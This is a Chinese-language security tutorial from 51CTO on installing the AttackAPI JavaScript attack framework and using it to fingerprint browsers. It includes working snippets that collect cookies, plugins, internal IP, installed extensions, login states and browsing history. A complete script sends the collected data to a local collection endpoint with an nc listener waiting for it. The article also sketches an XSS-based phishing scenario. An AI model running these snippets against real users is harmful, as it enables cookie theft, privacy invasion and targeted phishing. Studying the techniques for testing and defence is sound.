精通JavaScript攻击框架:AttackAPI环境搭设

原创
安全 应用安全
一种类型的安全专业浮现并变成主流利用机制时,供应厂商和个人就会开始发行框架和自动工具,来处理工具和测试过程。虽然供应厂商最初主要将精力放在AJAX审计工具方面,但是安全研究人员更关注的是连绵的系统边界,以探索事实真相。

【51CTO.com 独家特稿】多年来客户端安全一直未引起人们的足够重视,但是如今情况发生了急剧转变,客户端安全已经成为信息安全领域的焦点之一。Web恶意软件、AJAX蠕虫、浏览历史暴破、登录检测、傀儡控制技术网络端口扫描以及浏览器劫持等各种技术只是安全研究人员地下实验室的部分技术,但是已经带来了非常大的影响。

一种类型的安全专业浮现并变成主流利用机制时,供应厂商和个人就会开始发行框架和自动工具,来处理工具和测试过程。虽然供应厂商最初主要将精力放在AJAX审计工具方面,但是安全研究人员更关注的是连绵的系统边界,以探索事实真相。

由于存在多种可能的攻击矢量,Web应用程序安全社区也建立了多个框架来探测、利用安全漏洞,从而揭示Web 开发社区所面临的种种问题。而本文将向大家介绍AttackAPI的详细使用方法。

一、AttackAPI概述

AttackAPI是一个基于Web的攻击构造库,它可以结合PHP、JavaScript及其他客户端和服务器端技术进行使用。AttackAPI有几十个不同功能的模块组成,这些模块既可以从浏览器使用,也可以从JavaScript解释器执行,例如 Mozilla Rhino。它的目标是为实现漏洞利用而提供一个简单易用的接口,主要用于测试和验证之用。

在开始研究AttackAPI子程序之前,我们先来做一些准备工作。首先,下载该库,然后搭设一个测试环境,我们将在这个环境中开发大部分示例程序。为此,我们需要安装、运行以下应用程序:
支持PHP 4.x或者更新的版本的HTTP服务器(Apache+PHP或者AppServ)

www.apache.org/
www.php.net/
www.appservnetwork.com/
从GNUCITIZEN下载最新的AttackAPI
www.gnucitizen.org/projects/attackapi
Mozilla的网络浏览器Firefox
www.getfirefox.com
Firefox扩展Firebug,地址www.getfirebug.com/

启动Apache HTTP 服务器并且确保已在正常运行中。 在网上,介绍这类任务文档很多,在此不再赘述。然后,从GNUCITIZEN下载AttackAPI程序包 ,并且将其抽取到Web服务器的根文件夹中。例如,如果使用的是AppServ,那么可以将这些文件放在C:\AppServ\www\attackapi中。

确保运行的Firefox已经安装了Firebug。我们之所以不辞劳苦的准备这些东西,是因为它们可以在将来为我们剩下许多力气,当我们从Firebug的动态控制台下做这些工作的时候,要比不停地保存和打开一些随机的临时文件要轻松得多。虽然我们这里使用的是Firefox,但是这里的例子照样可以用在其它浏览器上,只需稍作修改即可。

做好这些初始设置后,打开Firefox,从localhost导航至AttackAPI文件夹,即http://localhost/attackapi。这时就会看到如图1所示内容。

 

图1

从AttackAPI的文件结构来到Build|Tests|firetest-interactive.htm,这个文件中包含了下面我们将用到的一些元素。因为我们不会对打开的页面的HTML内容做任何修改,所以打开 Firebug,并调整控制台使其扩展至整个屏幕。
确保位于Console 选项卡中,并输入命令:dir(AttackAPI)。如果一切正常的话,就会看到如图2所示的AttackAPI 文档对象模型(DOM)结构。

 

图2

在本文剩下部分中,我们将使用$A对象而不是AttackAPI来访问和调用库对象和方法。$A对象是AttackAPI的一个独立的实例,并且包含更易使用的AttackAPI方法的快捷方式。 AttackAPI是一个结构化程度很高的库,通过图2可以看出,它还进一步分为AttackAPI.core(库核心)、AttackAPI.dom(跨浏览器的方法)和AttackAPI.utils(跨解释器的方法)。通过使用上面所说的约定,AttackAPI的base64编码函数的完整路径为$A.encodeBase64,是不是非常简洁呀?!这样输入代码的时候是不是省力气了,所以说,懒惰是促进人类进步的主要动力之一。

由于我们需要输入的代码较多,所以建议使用更大的命令行,首先在“选项”下拉菜单中选择“更大的命令行”选项,如同图3所示。

 

图3

这时命令行会出现在窗口的右侧,如下图所示:

 

图4

因为我们要键入许多代码,所以难免出现输入错误。所以打开更大的命令行之后,改起来会更快、更好。
需要注意的是,我们可以使用Load AttackAPI 书签将AttackAPI 加载到选择的页面上,尤其是当我们需要为某个站点开发利用程序,但是又不想通过Firebug修改该页面的源代码或者插入脚本标签的时候格外有用。该bookmarklet可以是从www.gnucitizen.org/projects/load-attackapi-bookmarklet下载。现在开始研究AttackAPI的客户端踩点功能。

#p#

二、客户端踩点

攻击者一旦控制了受害者的浏览器,他们首先要做的第一件事情就是弄清楚他们俘获的到底是什么样的客户端和平台。为达到这一目的,他们只需在Firebug的命令行中输入下列命令便可:
console.log($A.getAgent() );
console.log($A.getPlatform() );
命令行窗口下方的“运行”按钮,就会看到这两个函数的执行结果,如下图所示:

图5

如您所见,浏览器类型和操作系统版本已经展现在我们眼前了——事情就是这么简单!
然而,攻击者能做的事情远不止这些。在Firebug的命令行下输入如下所示的两行命令:
console.dir($A.getCookies() );
console.dir($A.getPlugins() );
命令行窗口下方的“运行”按钮,就会看到这两个函数的执行结果,如下图所示:

 

图6

GetCookies函数会检索出所有可用的Cookie,注意,这里的getCookies函数是一个易于使用的JavaScript 对象,这样我们就无需对DOM对象document.cookie 进行手动解析了。 与getCookies函数类似,getPlugins函数会列出目前已经安装的所有浏览器插件;这个函数能够运行在大多数浏览器上,但是Internet Explorer(IE)除外。

这里需要注意,如果客户端使用的是IE的话,AttackAPI能够访问存储在剪贴板中的数据:我们可以使用AttackAPI.dom.getClipboard来读取剪贴板,并能使用AttackAPI.dom.setClipboard 函数来设置剪贴板。通常情况下,剪贴板会保存有攻击者感兴趣的内容,例如用户有时候会复制粘贴他们的密码。通过使用这项功能,攻击者可以很轻松地窃取剪贴板中的数据,进而利用这些数据来控制用户帐户。

我们知道,攻击者可以攻击位于局域网内部的设备。为此,他们必须具有对局域网内部结构有一个很好的了解才行,对内部网络图范围更应该有一个详细的了解。他们可以做出以下假设,家庭用户的地址范围为192.168.0.0–192.168.1.0,边界路由器地址为192.168.0.1或者192.168.1.1,而企业用户位于10.0.0.0范围内,因为这个地址范围能够容纳更多的用户。另一方面,在下列三个AttackAPI函数的帮助下攻击者可以很轻松地获得内部网络信息:

console.log($A.getInternalIP() );
console.log($A.getInternalHostname() );
console.dir($A.getInternalNetworkInfo() );

命令行窗口下方的“运行”按钮,就会看到这两个函数的执行结果,如下图所示:

图7

攻击者可以很轻松地使用以下命令推测出边界路由器:

console.log(new String($A.getInternalIP() ).replace(/.\d+$/, ‘.1’) );
知道了这些,攻击者可以针对它发动大量不同的攻击,以确定它的类型和版本,并最终通过跨站点脚本攻击(XSS)或者某些其他弱点来利用这个边界路由器。尽管老练的攻击者能够轻松提出一个合理的猜测,然而,猜测毕竟只是猜测而已,它未必总是有效。下面的内容中,我们将要利用AttackAPI进行更多的网络操作,但是现在我们只把精力集中在客户端调查上。

对于AttackAPI来说,激动人心的功能并不在于获取代理、平台、cookies、插件和内部网络信息,更多好戏还在后头。只要简单的调用一个函数,攻击者就可以提取并扫描当前已经安装的Firefox扩展:

$A.scanExtensions({onfound: function(signature) {
console.dir(signature);
}});
函数scanExtensions使用内置的特征数据库(AttackAPI.dom.signatures)来调查可用的Firefox扩展。然而,您可以指定您自己的特征码,如下所示:
$A.scanExtensions({onfound: function(signature) {
console.dir(signature);
}, signatures: [{name: ‘Customize Google’, url:
‘chrome://customizegoogle/skin/32×32.png’}]});

注意,通过了解已经安装了哪些Firefox扩展有助于揭示某些用户行为模式。老辣的社会工程人员可以用来发动成功攻击。例如,如果如果客户端已经安装了FlickrFox、Picture2Life或者Flickrgethighrez扩展,那么他很可能具有一个Flickr帐户。

如果在flickr.com 或者yahoo.com 上发现了XSS 安全漏洞,攻击者就可以向这些用户发送一封邮件,说他们的帐户出了问题。并且让这个邮件貌似来自他们使用的扩展。当他们确认该消息时,他们会被重定向至flickr.com 或者yahoo.com 的登录页面,这时他们会在此输入其证书以便登录。

这时,攻击者就可以完全控制他们的证书,并且具有了这个在线身份所具有的一切权限。

利用AttackAPI来检测一个用户是否已经登录Flickr站点非常简单,只需用到scanStates函数和内部特征数据库:

$A.scanStates({onfound: function(signature) {
console.dir(signature);
}});

就像函数scanExtensions一样,您可以指定自己的特征码,如下所示:

$A.scanStates({onfound: function(signature) {
console.dir(signature);
}, signatures: [name: ‘Flickr Logged In User’, url: ‘http://www.fl ickr.com/
account’, message: ‘syntax error’, line: 1}]});

欲了解如何为scanExtensios和scanStates函数编写特征码的更多信息,请访问AttackAPI主页,地址为www.gnucitizen.org/projects/attackapi。

迄今为止,我们已经看到即使对AttackAPI的工作原理没有深入了解,也可以轻松地用它来完成的许多任务。我们这里要展示的最后一个函数将用来显示客户端浏览历史。让我们看看以下代码:

$A.scanHistory({onfound: function(url) {
console.log(url);
}});

通过上述代码,就可以查看最近访问的位于AttackAPI特征数据库中所有站点。就像其他扫描函数一样,您可以指定自己的要扫描的浏览历史列表,如下所示:

$A.scanHistory({onfound: function(url) {
console.log(url);
}, urls: [‘http://www.google.com’, ‘http://www.gnucitizen.org’]});

需要注意的是,虽然攻击者可以将该技术用于恶意目的,但是有些情况下它也有好的一面。例如,为了调查取证,人们可以扫描大量用户以识别访问过可疑站点的个人。

让我们看看如何使用上面所有这些函数来对用户进行全面的调查。在代码片断之后,我们还列出了收集到的各种信息:
var data = {
agent: $A.getAgent(),
platform: $A.getPlatform(),
cookies: $A.getCookies(),
plugins: $A.getPlugins(),
ip: $A.getInternalIP(),
hostname: $A.getInternalHostname(),
extensions: [],
states: [],
history: []};
var completed = 0;
$A.scanExtensions({
onfound: function (signature) {
data.extensions.push(signature.name);
},
oncomplete: function () {
completed += 1;
}
});
$A.scanStates({
onfound: function (signature) {
data.states.push(signature.name);
},
oncomplete: function () {
completed += 1;
}
});
$A.scanHistory({
onfound: function (url) {
data.history.push(url);
},
oncomplete: function () {
completed += 1;
}
});
var tmr = window.setInterval(function () {
if (completed < 3)
return;
console.dir(data);
window.clearInterval(tmr);
}, 1000);

这段代码最终通过利用AttackAPI进行全面的客户端调。其中scanStates、scanHistory和scanextensions函数都需要一个回调参数(即onfound事件)来返回结果,这一点需要注意。记住,JavaScript程序不是线性的。为此,我们必须等待这些函数结束,然后继续正常的程序执行路径。

这个任务可以通过window.setInterval函数帮我们完成。setInterval函数被配置成检查每秒完成的变量的数量。当这个数量达到3时,将收集到的信息显示在屏幕上。

当攻击者检索这个信息时,他可能想要将该信息从客户端输送到某个存储点以便做进一步的调查。考虑一下,当我们分析某个读者属于哪个用户组时这些信息是多么的有用!这个信息不仅对市场营销非常有用,而且对攻击者的统计工具也是很有价值的。

取得客户端到服务器的日期也是一个挑战,不过AttackAPI利用一个单一的函数解决了所有浏览器兼容模式。下面看看我们是如何改写客户端调查代码的:

var data = {
agent: $A.getAgent(),
platform: $A.getPlatform(),
cookies: $A.buildQuery($A.getCookies() ),
plugins: $A.getPlugins().join(‘,’),
ip: $A.getInternalIP(),
hostname: $A.getInternalHostname(),
extensions: [],
states: [],
history: []};
var completed = 0;
$A.scanExtensions({
onfound: function (signature) {
data.extensions.push(signature.name);
},
oncomplete: function () {
completed += 1;
}
});
$A.scanStates({
onfound: function (signature) {
data.states.push(signature.name);
},
oncomplete: function () {
completed += 1;
}
});
$A.scanHistory({
onfound: function (url) {
data.history.push(url);
},
oncomplete: function () {
completed += 1;
}
});
var tmr = window.setInterval(function () {
if (completed < 3)
return;
data.extensions = data.extensions.join(‘,’);
data.states = data.states.join(‘,’);
data.history = data.history.join(‘,’);
$A.transport({url: ‘http://localhost:8888/collect’, query: data});
window.clearInterval(tmr);
}, 1000);

如您所见,这里的代码跟之前的非常相似,当然也有不同之处,首先我们确信所有数据都存储为String对象。 数组项是连续的、用逗号隔离的列表,可以利用统一资源定位符(URL)查询来导出各个对象。您可以很轻松地利用$A.buildQuery 函数来构造查询。函数调用$A.buildQuery({name: ‘Fred’, lastName: ‘Johnson’});会导致name=Fred&lastName=Johnson。

回到我们的客户端调查代码,您可以很轻松地测试传送机制。只需把NetCat设置成监听状态,如下所示。利用下列命令,我们将打开端口8888,并将信息输出等级设为较大值,即输出更为详细的信息:
nc -l -p 8888 -vvv

您一旦在Firebug控制台执行了这些JavaScript代码,将会看到所有到达NetCat的数据都变成一个长长的URL编码的字符串。当然,您可以使用任何类型的编码(例如 Base64或者JSON),因为URL编码是默认支持的,所以使用它的时候无需作任何变更。

#p#

三、小结

多年来客户端安全一直未引起人们的足够重视,但是如今情况发生了急剧转变,客户端安全已经成为信息安全领域的焦点之一。Web恶意软件、AJAX蠕虫、浏览历史暴破、登录检测、傀儡控制技术网络端口扫描以及浏览器劫持等各种技术只是安全研究人员地下实验室的部分技术,但是已经带来了非常大的影响。

一种类型的安全专业浮现并变成主流利用机制时,供应厂商和个人就会开始发行框架和自动工具,来处理工具和测试过程。虽然供应厂商最初主要将精力放在AJAX审计工具方面,但是安全研究人员更关注的是连绵的系统边界,以探索事实真相。

由于存在多种可能的攻击矢量,Web应用程序安全社区也建立了多个框架来探测、利用安全漏洞,从而揭示Web 开发社区所面临的种种问题。而本文将向大家介绍AttackAPI测试环境的搭设以及客户端踩点的方法进行了详尽的介绍,下一篇我们将对AttackAPI的其他用法做详尽的介绍。

【51CTO.COM 独家特稿,转载请注明出处及作者!】

【编辑推荐】

  1. 黑客如何利用Javascript逃避检测入侵台式电脑
  2. Adobe Acrobat和Reader被找出Javascript漏洞
  3. 分析ARP病毒是如何利用的Javascript技术的
责任编辑:王文文 来源: 51CTO.com
相关推荐

2009-02-12 18:02:15

2009-06-08 16:45:00

精通StrutsTiles

2021-01-13 11:25:12

JavaScript闭包函数

2021-04-01 10:16:01

EmacsJavaScript elisp

2021-04-07 09:52:46

JavaScript函数劫持攻击

2021-10-17 22:40:51

JavaScript开发 框架

2022-02-09 11:02:16

JavaScript前端框架

2015-05-06 10:02:26

2009-02-24 09:24:23

2021-06-15 11:10:00

JavaScript框架语言

2015-05-18 13:51:08

2021-02-14 10:03:41

网络攻击零日漏洞SolarWinds

2019-10-21 09:29:00

JavaScriptHTML数据库

2022-01-06 22:04:03

JavaScript语言开发

2017-07-18 18:06:00

JavaScript框架类库

2022-02-17 11:41:26

JavaScript框架编程语言

2017-06-30 12:53:50

Javascript框架Vue vs Reac

2013-11-06 09:39:30

JavaScriptMVC框架

2024-01-05 07:43:04

2013-07-08 14:45:52

点赞
收藏

51CTO技术栈公众号